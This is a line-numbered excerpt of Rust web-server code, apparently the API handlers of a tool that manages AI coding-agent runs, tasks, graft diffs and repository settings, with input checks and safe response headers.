3978async fn runs_list(
3979 State(ui): State<Arc<Ui>>,
3980 Query(q): Query<ListQuery>,
3981) -> ApiResult<Json<Vec<RunSummary>>> {
3982 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3983 blocking(move || {
3984 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3985 let states = run_ids(&ui.runs)
3986 .into_iter()
3987 .filter_map(|id| read_run(&ui.runs, &id).ok())
3992 .take(limit)
3993 .filter(|run| q.contains(&run.id));
3994 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3995 let summaries = summarize(
3996 states,
3997 &open_runs,
3998 &claimed,
3999 &superseded,
4000 |p| probe.borrow_mut().status(p),
4001 |p| probe.borrow_mut().started_at(p),
4002 );
4003 Ok(Json(summaries))
4004 })
4005 .await
4006}
4007
4008fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
4013 let open_runs: HashSet<String> = ui
4014 .questions
4015 .list()
4016 .into_iter()
4017 .filter(|q| q.status.open())
4018 .map(|q| q.run)
4019 .collect();
4020 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
4021 .into_iter()
4022 .map(|c| c.run)
4023 .collect();
4024 (open_runs, claimed, ui.queue.superseded())
4025}
4026
4027fn summarize<I, S, D>(
4033 states: I,
4034 open_runs: &HashSet<String>,
4035 claimed: &HashSet<String>,
4036 superseded: &HashMap<String, String>,
4037 mut status_q: S,
4038 mut identity_q: D,
4039) -> Vec<RunSummary>
4040where
4041 I: IntoIterator<Item = RunState>,
4042 S: FnMut(u32) -> Option<bool>,
4043 D: FnMut(u32) -> Option<String>,
4044{
4045 states
4046 .into_iter()
4047 .map(|state| {
4048 let waiting = open_runs.contains(&state.id);
4049 let live =
4050 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4051 let mut row = RunSummary::of(&state, waiting, live);
4052 row.superseded_by = state
4053 .pr_taken_over_by
4054 .as_ref()
4055 .or_else(|| superseded.get(&state.id))
4056 .map(String::as_str)
4057 .map(crate::run::short_of)
4058 .map(str::to_owned);
4059 row.badge_status = run_badge_status(
4060 &state,
4061 &row.display_status,
4062 live,
4063 row.superseded_by.is_some(),
4064 );
4065 row
4066 })
4067 .collect()
4068}
4069
4070#[derive(Debug, Serialize)]
4077struct RunDetailView {
4078 progress: crate::run_progress::Progress,
4079 stop_reason: Option<String>,
4080 #[serde(flatten)]
4081 state: RunState,
4082 instruction_md: Vec<md::Node>,
4083 #[serde(flatten)]
4087 prose_md: RunProseMd,
4088 live: crate::run::Liveness,
4103 unmerged_by_design: bool,
4108 #[serde(default)]
4110 waiting: bool,
4111 #[serde(default)]
4113 display_status: String,
4114 #[serde(default)]
4116 badge_status: String,
4117 done: bool,
4122 superseded_by: Option<String>,
4130 latest_attempt: Option<LatestAttempt>,
4144 task: Option<TaskRef>,
4147 origin_label: String,
4151 pass_views: Vec<PassView>,
4154}
4155
4156#[derive(Debug, Serialize)]
4158struct TaskRef {
4159 id: String,
4160 short: String,
4161 title: String,
4162 source_label: String,
4164 source_link: Option<SourceLink>,
4166 status: &'static str,
4168 attempts: usize,
4169 max_attempts: usize,
4170 is_latest: bool,
4172 latest: Option<RunBrief>,
4174 finished_by: Option<RunBrief>,
4176 closed_by_hand: bool,
4178}
4179
4180#[derive(Debug, PartialEq, Eq, Serialize)]
4182struct SourceLink {
4183 kind: &'static str,
4185 id: String,
4187 href: String,
4189}
4190
4191fn encode_segment(raw: &str) -> String {
4193 let mut out = String::with_capacity(raw.len());
4194 for b in raw.bytes() {
4195 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4196 out.push(b as char);
4197 } else {
4198 out.push_str(&format!("%{b:02X}"));
4199 }
4200 }
4201 out
4202}
4203
4204fn source_link(source: &Source) -> Option<SourceLink> {
4208 let Source::Agent { run, node } = source else {
4209 return None;
4210 };
4211 let (kind, route) = if node == crate::queue::CHAT_NODE {
4212 ("chat", "chat")
4213 } else {
4214 ("run", "runs")
4215 };
4216 Some(SourceLink {
4217 kind,
4218 id: run.clone(),
4219 href: id_links::page_href(route, run),
4220 })
4221}
4222
4223#[derive(Debug, Serialize, PartialEq)]
4225struct FollowUpParent {
4226 id: String,
4227 short: String,
4228 title: String,
4229 status: &'static str,
4231 href: String,
4232}
4233
4234#[derive(Debug, Serialize, PartialEq)]
4236struct FollowUpRun {
4237 id: String,
4238 short: String,
4239 status: Option<&'static str>,
4241 href: Option<String>,
4243}
4244
4245#[derive(Debug, Serialize, PartialEq)]
4248struct FollowUpOrigin {
4249 parent: Option<FollowUpParent>,
4251 run: FollowUpRun,
4252 pr: String,
4257 findings: Vec<String>,
4258 generation: u32,
4259}
4260
4261fn followup_origin(
4264 fu: &crate::queue::FollowUp,
4265 task: impl Fn(&str) -> Option<Task>,
4266 run: impl Fn(&str) -> Option<RunState>,
4267) -> FollowUpOrigin {
4268 let parent = fu
4269 .origin_task
4270 .as_deref()
4271 .and_then(task)
4272 .map(|t| FollowUpParent {
4273 short: t.short().to_owned(),
4274 href: format!("#/tasks/{}", encode_segment(&t.id)),
4275 status: t.status.as_str(),
4276 title: t.title,
4277 id: t.id,
4278 });
4279 let state = run(&fu.run);
4280 FollowUpOrigin {
4281 parent,
4282 run: FollowUpRun {
4283 short: run::short_of(&fu.run).to_owned(),
4284 status: state.as_ref().map(|s| s.status.as_str()),
4285 href: state
4286 .is_some()
4287 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4288 id: fu.run.clone(),
4289 },
4290 pr: fu.pr.clone(),
4291 findings: fu.findings.clone(),
4292 generation: fu.generation,
4293 }
4294}
4295
4296#[derive(Debug, Serialize)]
4298struct RunBrief {
4299 id: String,
4300 short: String,
4301 status: Option<&'static str>,
4303 outcome: String,
4305 badge: Option<String>,
4307}
4308
4309fn task_outcome(
4312 task: &Task,
4313 this_run: &str,
4314 max_attempts: usize,
4315 read: impl Fn(&str) -> Option<RunState>,
4316) -> TaskRef {
4317 let max_attempts = task.effective_attempt_limit(max_attempts);
4318 let history = task_history(task, read);
4319 let brief = |h: &TaskRunView| RunBrief {
4320 id: h.id.clone(),
4321 short: h.short.clone(),
4322 status: h.status,
4323 outcome: h.exit.edge_label(h.status),
4324 badge: h.badge.clone(),
4325 };
4326 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4327 let latest = if is_latest {
4328 None
4329 } else {
4330 history.last().map(brief)
4331 };
4332 let done = task.status == TaskStatus::Done;
4333 let finished_by = done
4334 .then(|| {
4335 history
4336 .iter()
4337 .rev()
4338 .find(|h| {
4339 matches!(
4340 h.exit,
4341 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4342 )
4343 })
4344 .map(brief)
4345 })
4346 .flatten();
4347 TaskRef {
4348 short: task.short().to_owned(),
4349 title: task.title.clone(),
4350 id: task.id.clone(),
4351 source_label: task.source.label(),
4352 source_link: source_link(&task.source),
4353 status: task.status.as_str(),
4354 attempts: task.attempts,
4355 max_attempts,
4356 is_latest,
4357 latest,
4358 closed_by_hand: done && finished_by.is_none(),
4359 finished_by,
4360 }
4361}
4362
4363#[derive(Debug, Serialize)]
4365struct LatestAttempt {
4366 id: String,
4367 short: String,
4368 resolved: bool,
4379 status: RunStatus,
4382 done: bool,
4384}
4385
4386#[derive(Debug, Default, Serialize)]
4388struct RunProseMd {
4389 advice_md: Option<AdviceMd>,
4391 candidate_summaries_md: Vec<Vec<md::Node>>,
4393 reviews_md: Vec<RoundMd>,
4395}
4396
4397#[derive(Debug, Default, Serialize)]
4398struct AdviceMd {
4399 synthesis: Vec<md::Node>,
4400 approaches: Vec<Vec<md::Node>>,
4402}
4403
4404#[derive(Debug, Default, Serialize)]
4405struct RoundMd {
4406 reviewers: Vec<ReviewerMd>,
4408 reconsideration: Vec<Vec<md::Node>>,
4410 fix: Option<FixMd>,
4411}
4412
4413#[derive(Debug, Default, Serialize)]
4414struct ReviewerMd {
4415 summary: Vec<md::Node>,
4416 findings: Vec<Vec<md::Node>>,
4418}
4419
4420#[derive(Debug, Default, Serialize)]
4421struct FixMd {
4422 notes: Vec<md::Node>,
4423 rejected: Vec<Vec<md::Node>>,
4425}
4426
4427fn run_prose_md(state: &RunState) -> RunProseMd {
4429 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4430 RunProseMd {
4431 advice_md: state.advice.as_ref().map(|a| AdviceMd {
4432 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4433 approaches: a
4434 .records
4435 .iter()
4436 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4437 .collect(),
4438 }),
4439 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4440 reviews_md: state
4441 .reviews
4442 .iter()
4443 .map(|round| RoundMd {
4444 reviewers: round
4445 .reviews
4446 .iter()
4447 .map(|rec| ReviewerMd {
4448 summary: nodes(&rec.summary),
4449 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4450 })
4451 .collect(),
4452 reconsideration: round
4453 .reconsideration
4454 .iter()
4455 .map(|rv| nodes(&rv.reason))
4456 .collect(),
4457 fix: round.fix.as_ref().map(|fix| FixMd {
4458 notes: nodes(&fix.notes),
4459 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4460 }),
4461 })
4462 .collect(),
4463 }
4464}
4465
4466impl RunDetailView {
4467 fn of(
4468 state: RunState,
4469 waiting: bool,
4470 live: crate::run::Liveness,
4471 superseded_by: Option<String>,
4472 latest_attempt: Option<LatestAttempt>,
4473 task: Option<TaskRef>,
4474 ) -> Self {
4475 let display_status = run_display_status(&state, waiting, live);
4476 let stop_reason = crate::stop_reason::of(
4477 &state,
4478 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4479 );
4480 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4481 Self {
4482 progress: crate::run_progress::build(&state, live, waiting),
4483 stop_reason,
4484 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4485 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4486 prose_md: run_prose_md(&state),
4487 origin_label: crate::run::origin_label(state.origin.as_ref()),
4488 live,
4489 unmerged_by_design: state.unmerged_by_design(),
4490 waiting,
4491 display_status,
4492 badge_status,
4493 done: state.status.done(),
4494 superseded_by,
4495 latest_attempt,
4496 task,
4497 state,
4498 }
4499 }
4500}
4501
4502async fn run_core(
4504 State(ui): State<Arc<Ui>>,
4505 Path(id): Path<String>,
4506) -> ApiResult<Json<RunDetailView>> {
4507 blocking(move || {
4508 let id = resolve_run(&ui.runs, &id)?;
4509 let state = read_run(&ui.runs, &id)?;
4510 Ok(Json(RunDetailView::of(
4511 state,
4512 false,
4513 crate::run::Liveness::Unknown,
4514 None,
4515 None,
4516 None,
4517 )))
4518 })
4519 .await
4520}
4521
4522async fn run_progress(
4524 State(ui): State<Arc<Ui>>,
4525 Path(id): Path<String>,
4526) -> ApiResult<Json<serde_json::Value>> {
4527 blocking(move || {
4528 let id = resolve_run(&ui.runs, &id)?;
4529 let state = read_run(&ui.runs, &id)?;
4530 let live = state.liveness(crate::daemon::is_working_on(
4531 &ui.home,
4532 &id,
4533 Timestamp::now(),
4534 ));
4535 let waiting = !ui.questions.open_for(&id).is_empty();
4536 Ok(Json(serde_json::json!({
4537 "id": id, "updated_at": state.updated_at, "live": live,
4538 "observed_at": Timestamp::now(),
4539 "progress": crate::run_progress::build(&state, live, waiting),
4540 })))
4541 })
4542 .await
4543}
4544
4545async fn run_detail(
4546 State(ui): State<Arc<Ui>>,
4547 Path(id): Path<String>,
4548) -> ApiResult<Json<RunDetailView>> {
4549 blocking(move || {
4550 let id = resolve_run(&ui.runs, &id)?;
4551 let state = read_run(&ui.runs, &id)?;
4552 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4553 let live = state.liveness(daemon_claims);
4554 crate::queue::record_ids(ui.questions.root(), "json")?;
4555 let waiting = ui
4556 .questions
4557 .list()
4558 .iter()
4559 .any(|q| q.run == id && q.status.open());
4560 let max_attempts = daemon::Opts::default().max_attempts;
4561
4562 let matching_task = ui.find_task_for_run(&id)?;
4563
4564 let superseded_by = state
4565 .pr_taken_over_by
4566 .clone()
4567 .or_else(|| {
4568 matching_task
4569 .as_ref()
4570 .and_then(|t| t.successor_of(&id).cloned())
4571 })
4572 .as_deref()
4573 .map(crate::run::short_of)
4574 .map(str::to_owned);
4575
4576 let latest_attempt = matching_task
4580 .as_ref()
4581 .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4582 .and_then(|head_id| {
4583 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4584 short: head.short().to_owned(),
4585 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4586 status: head.status,
4587 done: head.status.done(),
4588 id: head.id,
4589 })
4590 });
4591
4592 let task = matching_task
4593 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4594
4595 Ok(Json(RunDetailView::of(
4596 state,
4597 waiting,
4598 live,
4599 superseded_by,
4600 latest_attempt,
4601 task,
4602 )))
4603 })
4604 .await
4605}
4606
4607async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4616 let (id, unreadable) = {
4617 let ui = Arc::clone(&ui);
4618 blocking(move || {
4619 let id = resolve_run(&ui.runs, &id)?;
4620 match read_run(&ui.runs, &id) {
4621 Ok(state) => {
4622 let in_flight =
4623 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4624 state
4625 .ensure_can_delete(in_flight)
4626 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4627 let dir = ui.runs.join(&id);
4628 std::fs::remove_dir_all(&dir)
4629 .with_context(|| format!("remove run directory {}", dir.display()))?;
4630 Ok((id, false))
4631 }
4632 Err(_) => {
4633 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4637 return Err(ApiError::conflict(format!(
4638 "run {id} is being worked on by a live daemon right now"
4639 )));
4640 }
4641 Ok((id, true))
4642 }
4643 }
4644 })
4645 .await?
4646 };
4647 if unreadable {
4648 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4649 .await
4650 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4651 }
4652 let ui = Arc::clone(&ui);
4653 let done = id.clone();
4654 blocking(move || {
4655 ui.questions.abandon_for_run(
4658 &done,
4659 &format!("run {done} was deleted, so nothing is waiting for this answer"),
4660 )?;
4661 Ok(())
4662 })
4663 .await?;
4664 Ok(StatusCode::NO_CONTENT)
4665}
4666
4667async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4691 let (id, state) = {
4692 let ui = Arc::clone(&ui);
4693 blocking(move || {
4694 let id = resolve_run(&ui.runs, &id)?;
4695 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4696 return Err(ApiError::conflict(format!(
4697 "run {id} is being worked on by a live daemon right now"
4698 )));
4699 }
4700 let state = read_run(&ui.runs, &id).ok();
4701 Ok((id, state))
4702 })
4703 .await?
4704 };
4705 let removed = match state {
4706 Some(mut state) => {
4707 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4708 .await
4709 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4710 if removed.is_empty() {
4715 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4716 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4717 }
4718 removed
4719 }
4720 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4721 .await
4722 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4723 };
4724 Ok(Json(FoldView {
4725 run: id,
4726 removed_count: removed.len(),
4727 removed,
4728 }))
4729}
4730
4731#[derive(Debug, Serialize)]
4733struct FoldView {
4734 run: String,
4735 removed: Vec<String>,
4737 removed_count: usize,
4738}
4739
4740#[derive(Debug, Deserialize)]
4743struct FoldMergedBody {
4744 #[serde(default)]
4745 pr_url: String,
4746}
4747
4748async fn run_fold_merged(
4768 State(ui): State<Arc<Ui>>,
4769 Path(id): Path<String>,
4770 Json(body): Json<FoldMergedBody>,
4771) -> ApiResult<Json<FoldMergedView>> {
4772 let pr_url = body.pr_url.trim().to_owned();
4773 if pr_url.is_empty() {
4774 return Err(ApiError::bad_request("pr_url is required"));
4775 }
4776 let (id, mut state) = {
4777 let ui = Arc::clone(&ui);
4778 blocking(move || {
4779 let id = resolve_run(&ui.runs, &id)?;
4780 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4781 return Err(ApiError::conflict(format!(
4782 "run {id} is being worked on by a live daemon right now"
4783 )));
4784 }
4785 let state = read_run(&ui.runs, &id)?;
4786 Ok((id, state))
4787 })
4788 .await?
4789 };
4790 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4791 .await
4792 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4793 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4794 .await
4795 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4796 Ok(Json(FoldMergedView {
4797 run: id,
4798 before: before.as_str().to_owned(),
4799 after: after.as_str().to_owned(),
4800 removed,
4801 }))
4802}
4803
4804#[derive(Debug, Serialize)]
4806struct FoldMergedView {
4807 run: String,
4808 before: String,
4810 after: String,
4812 removed: Vec<String>,
4814}
4815
4816async fn run_resume(
4836 State(ui): State<Arc<Ui>>,
4837 Path(id): Path<String>,
4838) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4839 let admission = ui.begin_admission()?;
4840 admitted(admission, async move {
4841 let (id, state) = {
4842 let ui = Arc::clone(&ui);
4843 blocking(move || {
4844 let id = resolve_run(&ui.runs, &id)?;
4845 let state = read_run(&ui.runs, &id)?;
4846 Ok((id, state))
4847 })
4848 .await?
4849 };
4850 crate::resume::validate_unqueued(&ui.home, &id)
4851 .map_err(|e| ApiError::conflict(e.to_string()))?;
4852 let _resume = ui.begin_resume(&id)?;
4853
4854 crate::resume::start(&ui.home, id.clone())
4855 .await
4856 .map_err(ApiError::from)?;
4857 let queued = RunSummary::of(
4860 &state,
4861 !ui.questions.open_for(&id).is_empty(),
4862 state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4863 );
4864 Ok((StatusCode::ACCEPTED, Json(queued)))
4865 })
4866 .await
4867}
4868
4869async fn run_report(
4870 State(ui): State<Arc<Ui>>,
4871 Path(id): Path<String>,
4872) -> ApiResult<impl IntoResponse> {
4873 let text = blocking(move || {
4874 let id = resolve_run(&ui.runs, &id)?;
4875 let state = read_run(&ui.runs, &id)?;
4879 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4880 let live = state.liveness(daemon_claims);
4881 Ok(format!(
4882 "{}{}",
4883 report::run(&state),
4884 report::active_seats(&state, live)
4885 ))
4886 })
4887 .await?;
4888 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4889}
4890
4891async fn run_report_json(
4895 State(ui): State<Arc<Ui>>,
4896 Path(id): Path<String>,
4897) -> ApiResult<Json<crate::report_view::RunReportView>> {
4898 let view = blocking(move || {
4899 let id = resolve_run(&ui.runs, &id)?;
4900 let state = read_run(&ui.runs, &id)?;
4901 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4902 let recovered = state.graft.as_ref().map(|_| {
4904 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4905 });
4906 Ok(crate::report_view::build_with(
4907 &state,
4908 state.liveness(daemon_claims),
4909 recovered.as_ref(),
4910 ))
4911 })
4912 .await?;
4913 Ok(Json(view))
4914}
4915
4916async fn run_seat_evidence(
4918 State(ui): State<Arc<Ui>>,
4919 Path(id): Path<String>,
4920) -> ApiResult<impl IntoResponse> {
4921 let id = resolve_run(&ui.runs, &id)?;
4922 let heads = crate::retention::seat_heads(&ui.home, &id)
4923 .await
4924 .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4925 Ok(Json(heads))
4926}
4927
4928async fn run_seat_diff(
4929 State(ui): State<Arc<Ui>>,
4930 Path((id, head)): Path<(String, String)>,
4931) -> ApiResult<impl IntoResponse> {
4932 let id = resolve_run(&ui.runs, &id)?;
4933 let patch = crate::retention::seat_diff(&ui.home, &id, &head)
4934 .await
4935 .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4936 Ok((
4937 [
4938 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4939 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4940 ],
4941 patch,
4942 ))
4943}
4944
4945const GRAFT_DIFF_MAX: usize = 400 * 1024;
4947const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4949
4950async fn run_graft_diff(
4953 State(ui): State<Arc<Ui>>,
4954 Path(id): Path<String>,
4955) -> ApiResult<impl IntoResponse> {
4956 let (repo, pre, post) = blocking(move || {
4957 let id = resolve_run(&ui.runs, &id)?;
4958 let state = read_run(&ui.runs, &id)?;
4959 let g = state
4960 .graft
4961 .as_ref()
4962 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4963 let post = g
4964 .post
4965 .clone()
4966 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4967 Ok((state.repo.clone(), g.pre.clone(), post))
4968 })
4969 .await?;
4970 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4971 if !hex(&pre) || !hex(&post) {
4972 return Err(ApiError::not_found("the recorded commits are not valid"));
4973 }
4974 let out = tokio::time::timeout(
4975 GRAFT_DIFF_TIMEOUT,
4976 crate::git::git_raw(
4977 &repo,
4978 &[
4979 "diff",
4980 "--no-color",
4981 "--no-ext-diff",
4982 "-M",
4983 &pre,
4984 &post,
4985 "--",
4986 ],
4987 ),
4988 )
4989 .await
4990 .map_err(|_| ApiError::not_found("git diff timed out"))?
4991 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4992 if out.code != Some(0) {
4993 return Err(ApiError::not_found(
4994 "the recorded commits are no longer in the repository",
4995 ));
4996 }
4997 let mut body = out.stdout;
4998 if body.len() > GRAFT_DIFF_MAX {
4999 let mut cut = GRAFT_DIFF_MAX;
5000 while !body.is_char_boundary(cut) {
5001 cut -= 1;
5002 }
5003 body.truncate(cut);
5004 body.push_str("\n... diff truncated ...");
5005 }
5006 Ok((
5007 [
5008 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5009 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5010 ],
5011 body,
5012 ))
5013}
5014
5015#[derive(Debug, Serialize)]
5021struct TaskView {
5022 #[serde(flatten)]
5023 task: Task,
5024 source_label: String,
5025 reassignment_notes: Vec<String>,
5026 source_link: Option<SourceLink>,
5027 status_str: &'static str,
5028 upgrade_resume_at: Option<Timestamp>,
5030 instruction_md: Vec<md::Node>,
5034 waits_on: Vec<String>,
5038 stuck_roots: Vec<String>,
5041 blockers: Vec<crate::blockers::BlockerView>,
5042 recovery: Option<String>,
5043}
5044
5045impl From<Task> for TaskView {
5046 fn from(task: Task) -> Self {
5047 Self {
5048 source_label: task.source.label(),
5049 reassignment_notes: Vec::new(),
5050 source_link: source_link(&task.source),
5051 status_str: task.status.as_str(),
5052 upgrade_resume_at: task.upgrade_resume_key().map(|(at, _)| at),
5053 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5054 waits_on: Vec::new(),
5055 stuck_roots: Vec::new(),
5056 blockers: Vec::new(),
5057 recovery: task_recovery(&task),
5058 task,
5059 }
5060 }
5061}
5062
5063impl TaskView {
5064 fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5065 if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5066 let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
5067 if !pending.is_empty() {
5068 self.recovery = Some(format!(
5069 "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5070 self.recovery.as_deref().unwrap_or_default()
5071 ));
5072 }
5073 for decision in pending {
5074 self.blockers.retain(|view| view.id != decision.id);
5075 self.blockers.push(decision);
5076 }
5077 }
5078 self
5079 }
5080
5081 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5082 let waits_on = inv.waits_on(&task);
5083 let stuck_roots = inv
5084 .stuck_roots(&task)
5085 .iter()
5086 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5087 .collect();
5088 Self {
5089 blockers: inv.blocker_views(&task),
5090 waits_on,
5091 stuck_roots,
5092 ..Self::from(task)
5093 }
5094 }
5095}
5096
5097fn task_recovery(task: &Task) -> Option<String> {
5098 use crate::queue::{HoldSource, TaskStatus};
5099 if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5100 return None;
5101 }
5102 let mut text = String::new();
5103 if task.status == TaskStatus::Blocked {
5104 text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5105 let restored = match task.blocked_from {
5106 Some(TaskStatus::Running) => TaskStatus::Queued,
5107 Some(status) => status,
5108 None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5109 None => TaskStatus::Queued,
5110 };
5111 text.push_str(&format!(
5112 "After all dependencies resolve, the scheduler restores {}. ",
5113 restored.as_str()
5114 ));
5115 if restored != TaskStatus::Held {
5116 return Some(text);
5117 }
5118 }
5119 text.push_str(match task.hold_source {
5120 Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5121 Some(HoldSource::Machine) if task.has_disk_capacity_cause() || crate::triage::disk_wait_eligible(task) =>
5122 "Disk wait (automatically monitored): the same task resumes when disk floors and output reservations permit. Recorded figures describe the hold time, not current capacity; triage rechecks admission automatically. Untouched automatic disk triage questions are superseded without an owner answer; owner decisions and unrelated approvals still require explicit resolution.",
5123 Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5124 None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5125 });
5126 Some(text)
5127}
5128
5129#[derive(Debug, Default, Deserialize)]
5132#[serde(default)]
5133struct ReposQuery {
5134 refresh: u8,
5135}
5136
5137async fn repos_list(
5144 State(ui): State<Arc<Ui>>,
5145 Query(q): Query<ReposQuery>,
5146) -> ApiResult<Json<Vec<repos::Repo>>> {
5147 let refresh = q.refresh != 0;
5148 blocking(move || {
5149 let (cfg, _) = Config::discover(&ui.repo, None)?;
5150 Ok(Json(ui.repos_cache.list(
5151 &cfg.repos.roots,
5152 Duration::from_secs(cfg.repos.scan_ttl),
5153 refresh,
5154 )))
5155 })
5156 .await
5157}
5158
5159#[derive(Debug, Default, Deserialize)]
5161struct SettingsQuery {
5162 repo: Option<PathBuf>,
5163}
5164
5165fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5169 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5170 let paths: Vec<PathBuf> = ui
5171 .machine_config
5172 .iter()
5173 .filter(|p| p.is_file())
5174 .cloned()
5175 .collect();
5176 if paths.is_empty() {
5177 Ok(Config::autodetected())
5178 } else {
5179 Config::load_layers(&paths)
5180 }
5181 });
5182 let mut known = cfg
5183 .map(|cfg| {
5184 ui.repos_cache.list(
5185 &cfg.repos.roots,
5186 Duration::from_secs(cfg.repos.scan_ttl),
5187 refresh,
5188 )
5189 })
5190 .unwrap_or_default();
5191 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5192 if !known.iter().any(|r| r.path == path) {
5193 known.push(repos::Repo {
5194 name: path
5195 .file_name()
5196 .unwrap_or_default()
5197 .to_string_lossy()
5198 .into_owned(),
5199 path,
5200 });
5201 }
5202 known
5203}
5204
5205fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5206 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5207 let canonical = requested.canonicalize().ok();
5208 let mut known = settings_repositories(ui, false);
5209 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5210 if !known.iter().any(matches) {
5211 known = settings_repositories(ui, true);
5212 }
5213 let repo = known
5214 .iter()
5215 .find(|r| matches(r))
5216 .map(|r| r.path.clone())
5217 .ok_or_else(|| ApiError {
5218 text_reason: None,
5219 status: StatusCode::UNPROCESSABLE_ENTITY,
5220 message: "Choose a known repository from the Settings selector.".to_owned(),
5221 })?;
5222 Ok((repo, known))
5223}
5224
5225async fn settings_get(
5229 State(ui): State<Arc<Ui>>,
5230 Query(q): Query<SettingsQuery>,
5231) -> ApiResult<Json<settings::SettingsView>> {
5232 blocking(move || {
5233 let (repo, known) = settings_context(&ui, q)?;
5234 Ok(Json(settings::view_with_repos(
5235 &repo,
5236 ui.machine_config.as_deref(),
5237 &known,
5238 )))
5239 })
5240 .await
5241}
5242
5243#[derive(Debug, Deserialize)]
5245#[serde(deny_unknown_fields)]
5246struct RolesBody {
5247 revision: String,
5249 #[serde(default)]
5251 roles: std::collections::BTreeMap<String, Vec<String>>,
5252 #[serde(default)]
5256 counts: std::collections::BTreeMap<String, serde_json::Value>,
5257}
5258
5259async fn settings_put_roles(
5265 State(ui): State<Arc<Ui>>,
5266 Query(q): Query<SettingsQuery>,
